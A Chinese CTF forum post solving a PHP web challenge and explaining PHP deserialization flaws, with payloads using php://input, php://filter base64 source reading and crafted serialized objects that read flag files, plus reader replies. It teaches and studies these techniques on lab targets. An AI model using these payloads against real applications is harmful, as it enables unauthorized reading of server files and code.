学逆向论坛

找回密码
立即注册

只需一步,快速开始

发新帖

2万

积分

41

好友

1157

主题
发表于 2021-6-18 15:31:38 | 查看: 5032| 回复: 6

相关题目:

♦ not admin

解题步骤:

用php的封装协议php://input,因为php://input可以得到原始的post数据,绕过第一个限制

the user is admin

php://filter/convert.base64-encode/resource=index.php
这里把读取到的index.php的内容转换为base64的格式


最后就是利用反序列化来读取flag文件
于是我们构造反序列化的参数:
O:4:"Read":1:{s:4:"file";s:57:"php://filter/read=convert.base64-encode/resource=f1ag.php";}
这里也是利用php://filter来读取flag文件


Payload:
?user=php://input&file=class.php&pass=O:4:"Read":1:{s:4:"file";s:57:"php://filter/read=convert.base64-encode/resource=f1ag.php";}



postdata:the user is admin

更详细的解题细节请看:
wp.pdf
>
/ 4
<
<>
预览已结束,请登录阅读全文。

本文共4页,您只能预览前4页,下载后可全文阅读



扩展阅读:
①什么是反序列化:

在我们讲PHP反序列化的时候,基本都是围绕着serialize(),unserialize()这两个函数。那么什么是序列化呢,序列化说通俗点就是把一个对象变成可以传输的字符串。举个例子,不知道大家知不知道json格式,这就是一种序列化,有可能就是通过array序列化而来的。而反序列化就是把那串可以传输的字符串再变回对象。

直接上例子便于理解:

我们先讲一讲比较简单的序列化,我们就用序列化json来举例子吧。虽然序列化Json和我们讲PHP反序列化的漏洞没有什么关系。但是在理解序列化这个概念和之后的内容会有所帮助

json_encode()

json_decode()

这两个函数,一眼就能看出来是做什么用的吧,直接上例子:

xuenixiang_2021_web_not admin

xuenixiang_2021_web_not admin

这边有一个book的数组

'book1'=>'Harry Potter',

'book2'=>'MR.Bean',

'Book3'=>'Python Cookbook',

'Book4'=>'History'

如果我们想传输这个数组怎么办呢,我们就可以请json_encode()这个函数帮助我们将这个数组序列化成一串字符串

xuenixiang_2021_web_not admin

xuenixiang_2021_web_not admin

所以在这里,我们将数组序列化成json格式的字串的目的就是为了方便传输。我们可以看见,这里json格式来保存数据主要是使用键值对的形式。

好啦,接下来我们要开始深入一步,来讲讲如何把一个对象序列化成一串字符串。

假设,我们写了一个class,这个class里面存有一些变量。当这个class被实例化了之后,在使用过程中里面的一些变量值发生了改变。以后在某些时候还会用到这个变量,如果我们让这个class一直不销毁,等着下一次要用它的时候再一次被调用的话,浪费系统资源。当我们写一个小型的项目可能没有太大的影响,但是随着项目的壮大,一些小问题被放大了之后就会产生很多麻烦。这个时候PHP就和我们说,你可以把这个对象序列化了,存成一个字符串,当你要用的时候再放他出来就好了。

那么,怎么才能把一个对象序列化呢? 来,小二,上个例子:

xuenixiang_2021_web_not admin

xuenixiang_2021_web_not admin

这里,我们先创了个DemoClass,里面存了点信息,后来我们new了一个实例$example的时候,将这个class里的一些信息给改变了。

如果我们之后还要用到这个实例怎么办呢,我们就先将他序列化存起来,到时候用的时候再放出来就好啦。

是不是很简单,只要用serialize()这个函数就行了

xuenixiang_2021_web_not admin

xuenixiang_2021_web_not admin

这个时候,我们发现这次序列化出来的格式,和我们上一个序列化json的格式有点不同呢,解释一波:

xuenixiang_2021_web_not admin

xuenixiang_2021_web_not admin

然后如果反序列化回来的话

xuenixiang_2021_web_not admin

xuenixiang_2021_web_not admin

②为什么会产生这个漏洞?

那么,问题来了,这么序列化一下然后反序列化,为什么就能产生漏洞了呢?

这个时候,我们就要了解一下PHP里面的魔术方法了,魔法函数一般是以__开头,通常会因为某些条件而触发不用我们手动调用:

在研究反序列化漏洞的时候,碰见这几个魔法函数就要仔细研究研究了:

__construct()当一个对象创建时被调用

__destruct()当一个对象销毁时被调用

__toString()当一个对象被当作一个字符串使用

__sleep() 在对象在被序列化之前运行

__wakeup将在序列化之后立即被调用

这些就是我们要关注的几个魔术方法了,如果服务器能够接收我们反序列化过的字符串、并且未经过滤的把其中的变量直接放进这些魔术方法里面的话,就容易造成很严重的漏洞了。

举个别人的例子:

<?php
class A{
    var $test = "demo";
    function __destruct(){
            echo $this->test;
    }
}
$a = $_GET['test'];
$a_unser = unserialize($a);
?>

这里我们只要构造payload:

http://127.0.0.1/test.php?test=O:1:"A":1:{s:4:"test";s:5:"hello";}

就能控制echo出的变量,比如你能拿这个来进行反射型xss。。。

③实例分析
这里实战一题比较简单的ctf题目吧
<?php 
    require_once('shield.php');
    $x = new Shield();
    isset($_GET['class']) && $g = $_GET['class'];
    if (!empty($g)) {
        $x = unserialize($g);
    }
    echo $x->readfile();
?>

可以看见 先是包含了shield.php 然后从中new了个新的实例出来 最后接收用户的反序列化 输出readfile()方法

跟进:

<?php
    //flag is in pctf.php
    class Shield {
        public $file;
        function __construct($filename = '') {
            $this -> file = $filename;
        }
        function readfile() {
            if (!empty($this->file) && stripos($this->file,'..')===FALSE  
            && stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
                return @file_get_contents($this->file);
            }
        }
    }
?>
这里我们可以看见只要操控$file这个参数为pctf.php就可以了,这里construct函数在实例被创建的时候(也就是new Shield()的时候)执行,所以不会影响我们对$file的操作
直接构造序列化对象传过去 O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";} 就行了








温馨提示:
1.如果您喜欢这篇帖子,请给作者点赞评分,点赞会增加帖子的热度,评分会给作者加学币。(评分不会扣掉您的积分,系统每天都会重置您的评分额度)。
2.回复帖子不仅是对作者的认可,还可以获得学币奖励,请尊重他人的劳动成果,拒绝做伸手党!
3.发广告、灌水回复等违规行为一经发现直接禁言,如果本帖内容涉嫌违规,请点击论坛底部的举报反馈按钮,也可以在【投诉建议】板块发帖举报。
论坛交流群:672619046

    发表于 2021-10-14 11:21:58
    为什么我发包http://xuenixiang.cn:21002/?user=php://input
    或者xuenixiang.cn:21002/?user=php://input&file=class.php&pass=O:4:"Read":1:{s:4:"file";s:57:"php://filter/read=convert.base64-encode/resource=f1ag.php";}


    还是提示不是admin
    learnctf 发表于 2022-8-12 08:41 详情  回复
    需要传值the user is admin才行。

      发表于 2021-11-15 15:56:47
      最后一步,是怎么看出传入pass参数后可以被反序列化的?在题目中线索好像没看到unserial函数啊?
      whoamiyy 发表于 2022-10-18 17:07 详情  回复
      在indexphp的源码中可以看见的
      发表于 2022-8-12 08:40:17
      感谢作者分享!有一个问题就是最后一步,是怎么看出传入pass参数后可以被反序列化的?
      whoamiyy 发表于 2022-10-18 17:07 详情  回复
      你可以先用php://filter/read=convert.base64-encode/resource=index.php 把整个页面的源码读出来,你就可以看见echo $pass了
      发表于 2022-8-12 08:41:36
      缄陌 发表于 2021-10-14 11:21
      为什么我发包http://xuenixiang.cn:21002/?user=php://input
      或者xuenixiang.cn:21002/?user=php://input&f ...

      需要传值the user is admin才行。
      发表于 2022-10-18 17:07:15
      learnctf 发表于 2022-8-12 08:40
      感谢作者分享!有一个问题就是最后一步,是怎么看出传入pass参数后可以被反序列化的? ...

      你可以先用php://filter/read=convert.base64-encode/resource=index.php
      把整个页面的源码读出来,你就可以看见echo $pass了
      发表于 2022-10-18 17:07:51
      再来亿Ping 发表于 2021-11-15 15:56
      最后一步,是怎么看出传入pass参数后可以被反序列化的?在题目中线索好像没看到unserial函数啊? ...

      在indexphp的源码中可以看见的

      小黑屋|手机版|站务邮箱|学逆向论坛 ( 粤ICP备2021023307号 )|网站地图

      GMT+8, 2024-4-26 01:05 , Processed in 1.155206 second(s), 75 queries .

      Powered by Discuz! X3.4

      Copyright © 2001-2021, Tencent Cloud.

      快速回复 返回顶部 返回列表